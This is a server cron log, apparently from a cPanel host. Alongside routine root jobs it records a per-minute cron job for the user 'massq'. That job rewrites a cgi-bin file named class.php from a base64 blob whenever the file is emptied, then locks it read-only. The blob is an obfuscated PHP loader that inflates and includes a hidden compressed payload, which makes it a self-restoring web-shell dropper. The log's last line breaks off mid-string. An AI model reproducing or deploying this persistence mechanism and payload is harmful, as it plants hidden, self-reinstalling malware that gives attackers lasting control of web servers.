Apr 13 01:43:01 server CROND[8210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:44:01 server CROND[8260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:45:01 server CROND[8309]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:45:01 server CROND[8310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:45:01 server CROND[8311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:46:01 server CROND[8418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:47:01 server CROND[8567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:48:01 server CROND[8610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:49:01 server CROND[8667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:50:01 server CROND[8716]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 01:50:01 server CROND[8717]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:50:01 server CROND[8718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:50:01 server CROND[8720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:50:01 server CROND[8723]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 13 01:51:01 server CROND[8825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:52:01 server CROND[8971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:53:01 server CROND[9020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:54:01 server CROND[9078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:55:01 server CROND[9130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 01:55:01 server CROND[9131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 01:55:01 server CROND[9132]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 01:56:01 server CROND[9237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK